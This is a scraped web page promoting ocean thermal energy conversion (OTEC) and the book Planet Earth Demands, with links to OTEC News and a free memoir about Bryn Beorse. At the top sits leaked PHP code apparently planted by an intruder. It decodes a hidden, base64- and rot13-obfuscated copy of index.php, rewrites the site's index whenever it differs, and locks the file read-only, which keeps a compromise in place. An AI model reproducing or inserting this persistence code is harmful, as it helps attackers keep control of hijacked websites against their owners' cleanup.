$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } OTEC (Ocean Thermal Energy Conversion) – Planet Earth Demands

OTEC (Ocean Thermal Energy Conversion)

The book Planet Earth Demands directly advocates implementation of OTEC (Ocean Thermal Energy Conversion) for global energy self-sufficiency based on benign solar power from the sea.

In addition to the background provided in the book, there are several ways to discover more about OTEC and its promise for clean energy today.


OTEC News provides updates on OTEC activities worldwide – link HERE to view.

As they say, they are “Your in-depth source of information for Ocean Thermal Energy Conversion.”

Mansur Johnson’s Memoir

A must-read for anyone interested in OTEC history, Mansur Johnson’s fascinating book, Shamcher: A Memoir of Bryn Beorse and his Struggle to Introduce Ocean Energy to the United States, is available free:¬†download as a PDF.